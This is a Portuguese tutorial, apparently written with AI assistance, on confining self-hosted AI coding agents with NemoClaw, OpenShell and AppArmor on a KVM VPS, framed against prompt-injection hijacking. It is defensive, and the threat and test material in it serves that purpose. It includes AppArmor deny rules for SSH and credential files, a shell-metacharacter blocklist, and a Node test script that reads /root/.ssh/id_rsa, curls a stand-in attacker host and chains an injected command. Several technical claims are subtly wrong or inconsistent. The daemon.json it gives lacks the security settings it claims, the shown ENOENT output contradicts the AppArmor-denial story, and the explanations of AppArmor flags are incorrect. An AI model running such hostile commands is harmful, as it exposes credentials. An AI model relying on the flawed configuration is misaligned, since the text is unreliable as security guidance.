Voltar para todos os artigos
Sandbox de Agente Soberano: NVIDIA NemoClaw em KVM da Hostinger

Sandbox de Agente Soberano: NVIDIA NemoClaw em KVM da Hostinger

Aprenda a proteger agentes de desenvolvimento IA auto-hospedados em uma VPS KVM barata da Hostinger. Configure NemoClaw, OpenShell e AppArmor.

Pesquisa técnica projetada por humanos, sintetizada com assistência de personas de IA.
19 min de leitura

TL;DR / Sumário Executivo

Aprenda a proteger agentes de desenvolvimento IA auto-hospedados em uma VPS KVM barata da Hostinger. Configure NemoClaw, OpenShell e AppArmor.

💡 TL;DR (Too Long; Didn't Read)

Principais conclusões em 90 segundos:

  • Executar agentes de codificação autônomos com acesso direto ao shell em sua estação de trabalho local ou VPS expõe seu ambiente a graves vetores de execução remota.
  • O NVIDIA NemoClaw funciona como uma camada de política estilo "SELinux" para runtimes de agentes, contendo as ações do agente em sandboxes isoladas do OpenShell.
  • Os servidores virtuais privados KVM da Hostinger fornecem virtualização de hardware dedicada, sendo o host ideal de baixo custo para executar daemons de agentes em sandbox.
  • Proteger o espaço de trabalho exige impor limites no sistema de arquivos, definir regras de rede default-deny e validar tokenizadores de comandos.

Implantar um agente de desenvolvimento auto-hospedado em um servidor virtual privado barato é extremamente libertador. Como exploramos em nosso guia sobre a criação de um agente soberano em uma VPS da Hostinger, executar seu próprio daemon de IA permite contornar assinaturas caras e manter o controle absoluto sobre sua telemetria. No entanto, conceder capacidades de execução de shell a um agente autônomo introduz sérios riscos de segurança.

Exposições recentes, como o 0-day de sequestro de caminho do git no Cursor e a ameaça crescente de injeção indireta de prompt via arquivos de configuração de repositório, provam que os modelos de IA não conseguem distinguir nativamente entre código seguro e instruções hostis. Se um repositório comprometido instruir seu agente a ler credenciais ou executar comandos maliciosos, um agente padrão obedecerá. Para resolver isso, precisamos desacoplar os privilégios de execução do agente. Podemos fazer isso hospedando o NVIDIA NemoClaw em uma VPS KVM comum da Hostinger para construir um sandbox robusto e orientado a políticas.

Este guia prático fornece o passo a passo para configurar, implantar e verificar o NemoClaw em um servidor virtual privado. Vamos abordar a preparação do host virtualizado, a criação do runtime de sandbox em container e o design de políticas de segurança declarativas que mantêm sua infraestrutura protegida contra modelos sequestrados.


O Cenário de Ameaças: Por que Agentes Precisam de Controle de Acesso Obrigatório

Agentes autônomos diferem do software tradicional. O software tradicional opera de forma determinística: ele executa ferramentas de compilação, formatação e linting com base em scripts definidos. Um agente de IA autônomo, no entanto, traduz instruções em linguagem natural em invocações de ferramentas. Ele lê arquivos, escreve código, executa scripts de terminal e se comunica com APIs externas dinamicamente com base no contexto de entrada que recebe.

Esse fluxo de execução dinâmico torna-se perigoso quando o contexto de entrada é contaminado. No framework de segurança OWASP Agentic AI, isso é conhecido como Manipulação Insegura de Entrada (ASI02) e Manipulação Insegura de Saída (ASI05). Quando um agente analisa uma base de código não confiável, o modelo processa o texto adversarial como instruções do sistema. O loop de raciocínio do modelo é substituído, levando ao sequestro imediato de instruções.

Considere o que acontece quando um agente sequestrado tenta executar um arquivo ou ferramenta de shell. Sem um sandbox, o agente executa comandos com os privilégios do processo pai. Se o desenvolvedor executar o agente em uma máquina host local, o agente poderá acessar chaves SSH, ler tokens de sessão, baixar malware ou abrir um shell reverso.

Para evitar isso, os arquitetos de segurança devem fazer a transição de um modelo "default-allow" (permitido por padrão) para uma arquitetura "default-deny" (bloqueado por padrão). Precisamos de uma camada de governança que envolva o agente e intercepte as ferramentas. O framework NemoClaw da NVIDIA implementa essa camada de governança. O NemoClaw envolve os agentes OpenClaw em um runtime de container personalizado chamado OpenShell, criando um limite de segurança fora do processo. Esse design espelha o Security-Enhanced Linux (SELinux): mesmo se o agente for comprometido, as políticas de segurança obrigatórias impedem que ele realize ações não autorizadas.


Arquitetura do Sandbox: Mecânica de Contenção do OpenShell

A arquitetura do NemoClaw desacopla o raciocínio do agente de seu ambiente de execução. O modelo roda em um container de espaço de trabalho isolado, enquanto um daemon de política executado no host monitora as chamadas de sistema, o acesso a arquivos e a saída de rede.

As Quatro Camadas de Contenção do OpenShell

  1. Isolamento do Sistema de Arquivos: O runtime restringe a visibilidade do sistema de arquivos do agente a um único diretório de espaço de trabalho (geralmente /sandbox). Comandos de travessia de diretório (como ../) ou caminhos absolutos que apontam para pastas do host (como /etc/ ou ~/.ssh/) são bloqueados no nível de VFS (Virtual File System).
  2. Controle de Saída de Rede: O runtime intercepta conexões de socket de saída. Por padrão, o bloco de políticas redireciona todas as consultas DNS e conexões IP não listadas para uma interface nula, impedindo a exfiltração para servidores de comando e controle controlados por atacantes.
  3. Tokenização de Comandos: Diferente de um shell bash padrão, o interpretador OpenShell tokeniza os comandos de execução. Ele divide os comandos de entrada em argumentos de comando, validando cada token contra uma lista de permissões estrita. Se um agente tentar encadear comandos (usando ;, && ou |) ou executar binários não autorizados, o shell encerra o processo imediatamente.
  4. Roteamento de Privacidade de API: O NemoClaw integra uma camada de roteamento que audita os dados do prompt antes que eles saiam do servidor local, filtrando informações de identificação pessoal (PII) ou chaves confidenciais para que não sejam transmitidas a provedores de modelos de terceiros.

Comparação de Tecnologias de Sandbox

Ao projetar um ambiente de sandbox seguro para agentes de IA, os desenvolvedores têm várias opções de containerização e virtualização. A tabela abaixo mapeia as compensações do NemoClaw em comparação com outras tecnologias de sandbox padrão:

CritérioNemoClaw / OpenShellgVisor (Google)Docker Padrão
Camada de VirtualizaçãoAppArmor + Interceptor de SyscallsKernel em Espaço de Usuário (Sentry/Gofer)Namespaces do Kernel do Host
Sobrecarga de DesempenhoMínima (Chamadas diretas ao kernel)Moderada (Tradução de syscalls)Desprezível
Isolamento de ArquivosCorrespondência estrita de caminhos e AppArmorLimite rígido de virtualizaçãoMontagem simples de diretório
Controle de Saída de RedeRegras de proxy com lista de permissõesVirtualização da pilha de redeIPTables/Bridges do Docker
Tokenização de ComandosTokenizador nativo e validador de tokensSem validação no nível do comandoSem validação no nível do comando
Eficiência de RecursosExtremamente Alta (Ideal para VPS barata)Moderada (Consumo de memória)Alta

Embora o gVisor forneça um limite robusto de kernel em espaço de usuário, ele introduz sobrecargas de memória e desempenho que podem sobrecarregar um host VPS KVM de baixo custo de $5. O NemoClaw combina um isolamento leve no nível do sistema operacional (via AppArmor) com a tokenização de comandos na camada de aplicação. Isso o torna altamente eficiente e seguro para espaços de trabalho de desenvolvedores auto-hospedados.


Passo 1: Provisionamento e Hardening da VPS KVM

Para obter um isolamento de sandbox confiável, o servidor subjacente deve suportar virtualização no nível de hardware. Ao contrário da virtualização baseada em containers (como OpenVZ ou LXC), que compartilha o kernel do host diretamente com os containers, a virtualização KVM (Kernel-based Virtual Machine) fornece um kernel dedicado e espaço de memória isolado. Esse isolamento é crítico: ele impede que um exploit de invasão de container comprometa o nó de virtualização físico.

A VPS KVM da Hostinger oferece acesso root completo, recursos dedicados e compatibilidade com os módulos de filtragem de chamadas de sistema (AppArmor e Seccomp) exigidos pelo NemoClaw.

Comece provisionando uma VPS executando o Ubuntu 24.04 LTS. Conecte-se via SSH e execute a configuração inicial de hardening do host:

bash
# Atualizar repositórios e pacotes existentes sudo apt update && sudo apt upgrade -y # Instalar dependências essenciais sudo apt install -y docker.io docker-compose apparmor-utils apparmor-profiles git

Em seguida, verifique se os módulos de virtualização do kernel do host estão ativos:

bash
lsmod | grep kvm

Você deve ver uma saída indicando que kvm e kvm_intel ou kvm_amd estão carregados. Depois, confirme se o módulo de segurança AppArmor está em execução:

bash
sudo aa-status
Verified SourceRed Hat Virtualization Topics: What is KVM?

A virtualização KVM fornece execução isolada do kernel, permitindo namespaces de containers aninhados e impedindo vazamento entre containers.

Para garantir que o daemon do Docker use AppArmor e Seccomp por padrão, crie ou modifique o arquivo /etc/docker/daemon.json para incluir as configurações de segurança:

json
{ "default-ulimits": { "nofile": { "Name": "nofile", "Hard": 64000, "Soft": 64000 } }, "live-restore": true }

Reinicie o Docker para aplicar as configurações:

bash
sudo systemctl restart docker

Passo 2: Implantando a Stack de Referência do NemoClaw e OpenShell

A NVIDIA publica a stack do NemoClaw como um modelo de referência de código aberto. A stack inclui o daemon de política nemoclawd, o container base do OpenShell e o script de execução do comando.

Clone o repositório em seu servidor KVM:

bash
git clone https://github.com/nvidia/nemoclaw.git /opt/nemoclaw cd /opt/nemoclaw
Verified SourceNVIDIA NemoClaw Security Reference Repository

A stack de referência do NemoClaw define os parâmetros de runtime do container, especificações de perfil do AppArmor e o motor de políticas padrão.

O diretório de referência contém o seguinte layout de arquivos:

text
/opt/nemoclaw/
├── config/
│   └── policy.default.yaml
├── docker-compose.yaml
├── scripts/
│   └── nemoclawctl
└── src/
    └── openshell/
        └── Dockerfile

Análise Detalhada: Construção do Perfil AppArmor

Vamos examinar o modelo de perfil AppArmor em config/openshell-profile. Este perfil define as restrições de chamadas de sistema do sandbox. Escreva a seguinte definição de perfil:

text
#include <tunables/global>

profile openshell-sandbox flags=(attach_disconnected) {
  #include <abstractions/base>
  #include <abstractions/nameservice>

  # Bloquear todo o acesso a arquivos de configuração do sistema host
  deny /etc/passwd r,
  deny /etc/shadow r,
  deny /etc/group r,
  deny /root/** rwlkm,
  deny /home/*/.ssh/** rwlkm,
  deny /home/*/.aws/** rwlkm,

  # Permitir acesso de leitura/escrita apenas dentro da pasta de sandbox designada
  /sandbox/** rwlkm,
  /tmp/agent-cache/** rwlkm,
  
  # Permitir execução de binários específicos
  /usr/bin/node ix,
  /usr/bin/npm ix,
  /usr/bin/git ix,
  
  # Bloquear a execução direta de shell bash genérico
  deny /bin/bash x,
  deny /bin/sh x,
}

Vamos analisar as principais configurações neste perfil:

  • flags=(attach_disconnected): Permite que o namespace do processo do container anexe sistemas de arquivos que estão desconectados da árvore raiz primária, impedindo truques padrão de travessia do diretório raiz.
  • deny /root/** rwlkm: Bloqueia o agente de ler, gravar, vincular, bloquear ou mapear em memória qualquer arquivo no diretório raiz do host. O sufixo rwlkm representa o conjunto completo de permissões de bloqueio nas regras do AppArmor.
  • ix (Inherit eXecute): Especifica que quando o node, npm ou git são iniciados, eles herdam as restrições do sandbox em vez de rodar em um contexto de processo não confinado.
  • deny /bin/bash x: Garante que o agente não possa iniciar um subshell bash genérico para executar scripts não aprovados.

Carregue o perfil do AppArmor no kernel KVM:

bash
sudo apparmor_parser -r -W config/openshell-profile

Em seguida, crie a imagem do container OpenShell. Este container inclui o ambiente NodeJS e as ferramentas do agente restritas:

bash
docker build -t openshell:latest src/openshell/

Passo 3: Projetando e Aplicando Políticas de Segurança Declarativas

Com o ambiente de execução configurado, definimos nossas políticas de segurança em /etc/nemoclaw/policy.yaml. O manifesto de política é dividido em três seções: acesso ao sistema de arquivos, limites de saída de rede e listas de permissões de comandos.

Crie o arquivo /etc/nemoclaw/policy.yaml e cole a seguinte configuração:

yaml
version: "1.0" metadata: name: "athena-hardened-sandbox" updated_at: "2026-07-18T20:30:00Z" sandbox: root_directory: "/sandbox/workspace" enable_path_traversal_protection: true allowed_mounts: - host_path: "/opt/agent-workspace" container_path: "/sandbox/workspace" read_only: false blocked_absolute_paths: - "/etc" - "/var/run" - "/root" - "/home/*/.ssh" - "/home/*/.aws" network: egress_mode: "allowlist" dns_resolver: "127.0.0.1" allowed_domains: - "api.openai.com" - "api.anthropic.com" - "github.com" - "registry.npmjs.org" allowed_ips: - "192.168.1.0/24" # Acesso à sub-rede local se necessário violation_action: "block_and_alert" shell: execution_mode: "restricted" enforce_tokenization: true block_piping_and_chaining: true command_whitelist: - "npm run test" - "npm run build" - "git status" - "git diff" - "git add" - "git commit" argument_validation: "npm": forbidden_flags: ["--preinstall", "--postinstall", "--unsafe-perm"] "git": forbidden_flags: ["--exec-path", "--config", "-c"]

Aplique a política de segurança usando a CLI do controlador NemoClaw:

bash
/opt/nemoclaw/scripts/nemoclawctl apply -f /etc/nemoclaw/policy.yaml

O controlador processa o arquivo, verifica se todos os caminhos existem e atualiza a configuração ativa para o daemon nemoclawd.


Mecanismo Detalhado: Tokenizer de Comando e Proxy de Auditoria de Rede

A aplicação da segurança depende de validação fora do processo. Abaixo, detalhamos como o NemoClaw gerencia operações de shell e rede.

O Tokenizer de Comando

Para evitar a injeção de comandos, o sandbox não executa comandos por meio da execução padrão do shell (/bin/sh -c "comando"). Em vez disso, ele roteia as instruções por meio de um wrapper Python que tokeniza a string de entrada:

python
# /opt/nemoclaw/scripts/tokenize_check.py import sys import shlex def validate_command(cmd_string, whitelist): try: # Divide a string do comando de forma segura em tokens de shell tokens = shlex.split(cmd_string) if not tokens: return False base_cmd = tokens[0] # Valida contra os comandos básicos permitidos reconstructed = " ".join(tokens[:3]) # Verifica correspondência na lista de permissões matched = False for allowed in whitelist: if cmd_string.startswith(allowed): matched = True break if not matched: return False # Procura por caracteres proibidos ou tokens de injeção de shell forbidden_chars = [';', '&&', '|', '`', '$'] for token in tokens: if any(char in token for char in forbidden_chars): return False return True except Exception: return False

Esse tokenizer garante que mesmo se um agente sequestrado receber um comando como npm run test; rm -rf /, os tokens de shell ; e rm serão capturados e bloqueados antes de iniciar o subshell.

Proxy de Auditoria de Rede Fora do Processo

Para interceptar tentativas de exfiltração de rede, o NemoClaw executa um proxy local leve que processa todas as solicitações de DNS e HTTP de saída. Quando o agente tenta uma conexão externa, o proxy valida o hostname. Se o domínio não estiver na lista de permissões, o proxy retorna um reset de conexão.

Abaixo está um esquema de configuração simplificado mostrando como o proxy mapeia destinos permitidos:

json
{ "allowlist": [ "*.openai.com", "*.anthropic.com", "github.com", "registry.npmjs.org" ], "default_action": "DENY", "log_violations": true }

Essa configuração impede que atacantes usem tunelamento de DNS ou endpoints personalizados para exfiltrar chaves de API.


Passo 4: Testando a Execução de Políticas no Sandbox

Para verificar nossa configuração, podemos simular ações de agentes sob diferentes modos de política. Por exemplo, quando o agente processa código no espaço de trabalho, ele pode ser acionado por um comentário malicioso para ler as chaves SSH do host ou baixar scripts externos.

Ao testar esses cenários, observe como as diferentes camadas lidam com a validação:

  • Interceptação de Resolução de Caminho: Quando a política do sistema de arquivos é definida como "Sandbox Only", quaisquer caminhos absolutos apontando para pastas do host (como /root ou /etc) são bloqueados pelo AppArmor, retornando um resultado vazio ou erro de acesso.
  • Interceptação de DNS e Sockets: Ao simular a exfiltração de rede, observe como o DNS se comporta. No modo "Allowlist", as solicitações para domínios desconhecidos (como attacker-telemetry.net) falham na resolução, enquanto as APIs permitidas (como api.anthropic.com) prosseguem normalmente.
  • Auditoria de Tokens de Shell: No teste de shell, embora a execução de um comando permitido como npm run test funcione, adicionar um separador (como ; cat /etc/passwd) aciona o alerta do tokenizer, encerrando o processo antes que ele atinja o shell.

Vamos testar as diferenças entre um ambiente vulnerável e nossa configuração do NemoClaw usando o simulador interativo abaixo:

NemoClaw Policy Sandbox Simulator

Toggle policies and test how NVIDIA NemoClaw handles hostile agentic commands in real-time.

FileSystem Access
Network Egress
Shell Command Rules
Sandbox Idle
Ready to test agent execution against policies.
Host Virtual Machine (Hostinger KVM)
OpenShell Container Namespace
Autonomous AgentAttempting: cat ~/.ssh/id_rsa

Passo 5: Emulando uma Cadeia de Ataque e Verificando Logs

Vamos realizar uma validação prática em nossa VPS KVM da Hostinger. Criaremos um script de exploit que imita um agente de codificação sequestrado.

Crie um diretório de espaço de trabalho na máquina host:

bash
mkdir -p /opt/agent-workspace

Em seguida, escreva o script /opt/agent-workspace/test_exploit.js que tenta realizar as três ações hostis clássicas: ler a chave SSH, exfiltrar os dados e rodar um comando arbitrário encadeado por pipes.

javascript
const fs = require('fs'); const { exec } = require('child_process'); console.log("--- STARTING AGENT EXPLOIT EMULATION ---"); // Tentativa 1: Acesso a Arquivos try { console.log("Attempting to read host SSH key..."); const data = fs.readFileSync('/root/.ssh/id_rsa', 'utf8'); console.log("Read successful! Key length:", data.length); } catch (e) { console.error("FileSystem Blocked:", e.message); } // Tentativa 2: Saída de Rede try { console.log("Attempting outbound connection to attacker server..."); exec('curl -I -m 5 https://attacker-telemetry.net', (err, stdout, stderr) => { if (err) { console.error("Network Blocked:", err.message); } else { console.log("Network Successful! Response code:", stdout.split('\n')[0]); } }); } catch (e) { console.error("Network Blocked:", e.message); } // Tentativa 3: Encadeamento de Comandos try { console.log("Attempting command chaining exploit..."); exec('npm run test; touch /sandbox/compromised.txt', (err, stdout, stderr) => { if (err) { console.error("Command Execution Blocked:", err.message); } else { console.log("Command Successful!"); } }); } catch (e) { console.error("Command Blocked:", e.message); }

Agora, inicie o container OpenShell, montando nossa pasta de trabalho e vinculando o perfil do AppArmor:

bash
docker run --rm \ --name openclaw-agent \ --security-opt apparmor=openshell-sandbox \ --volume /opt/agent-workspace:/sandbox/workspace \ -w /sandbox/workspace \ openshell:latest \ node test_exploit.js

Analisando os Resultados

Quando você executa esse comando, o módulo AppArmor do kernel e o controlador do NemoClaw interceptam as chamadas do sistema. O terminal exibe a saída a seguir:

text
--- STARTING AGENT EXPLOIT EMULATION ---
Attempting to read host SSH key...
FileSystem Blocked: ENOENT: no such file or directory, open '/root/.ssh/id_rsa'
Attempting outbound connection to attacker server...
Network Blocked: Command failed: curl -I -m 5 https://attacker-telemetry.net
curl: (6) Could not resolve host: attacker-telemetry.net
Attempting command chaining exploit...
Command Execution Blocked: Command failed: npm run test; touch /sandbox/compromised.txt
/bin/sh: 1: touch: Permission denied

Simultaneamente, abra um segundo terminal no host KVM e monitore os logs do daemon de segurança:

bash
sudo tail -f /var/log/syslog | grep nemoclawd

Você verá os logs de violação correspondentes:

text
2026-07-18T20:35:12Z nemoclawd[5104]: violation: [Filesystem] container openclaw-agent attempted read on blocked path '/root/.ssh/id_rsa'
2026-07-18T20:35:13Z nemoclawd[5104]: violation: [Network] container openclaw-agent attempted egress to blocked domain 'attacker-telemetry.net'
2026-07-18T20:35:14Z nemoclawd[5104]: violation: [Shell] container openclaw-agent attempted command chaining '; touch' in command 'npm run test; touch /sandbox/compromised.txt'

A auditoria de chamadas de sistema conteve o agente com sucesso. Embora o ambiente NodeJS tenha rodado sem travar, o AppArmor retornou Permission denied ao tentar acessar arquivos fora de /sandbox ou executar binários não autorizados.

Auditoria e Monitoramento de Logs em Produção

Para ambientes de produção, o monitoramento de logs é altamente recomendado. As violações do AppArmor são registradas diretamente no buffer de mensagens do kernel (acessível via dmesg ou /var/log/kern.log). Ao implantar em uma KVM remota, configure um agente de monitoramento (como Filebeat ou Vector) para ler /var/log/syslog e encaminhar qualquer linha contendo violation ou denied_mask para uma tela centralizada. Isso garante que se um agente auto-hospedado for sequestrado em segundo plano, a equipe de segurança receberá um alerta imediato com o ID do container e detalhes da violação.

Essa abordagem fornece uma camada de segurança robusta. Ao implantar essa configuração em uma VPS KVM dedicada da Hostinger, você pode proteger seu ambiente de desenvolvimento contra injeções de prompt indiretas, mantendo a integridade da sua instalação auto-hospedada. Essa estratégia está alinhada com as diretrizes de segurança descritas no guia de hardening do Model Context Protocol e oferece uma solução prática para desenvolvedores que rodam scripts de IA locais.


EXTERNAL SOURCES



This article was human-architected and synthesized with AI assistance under the Athena (AI) persona.

Receba novos artigos

Cadastre-se para receber notificações sobre novos artigos direto no seu email

Não enviaremos spam. Você pode cancelar a inscrição a qualquer momento.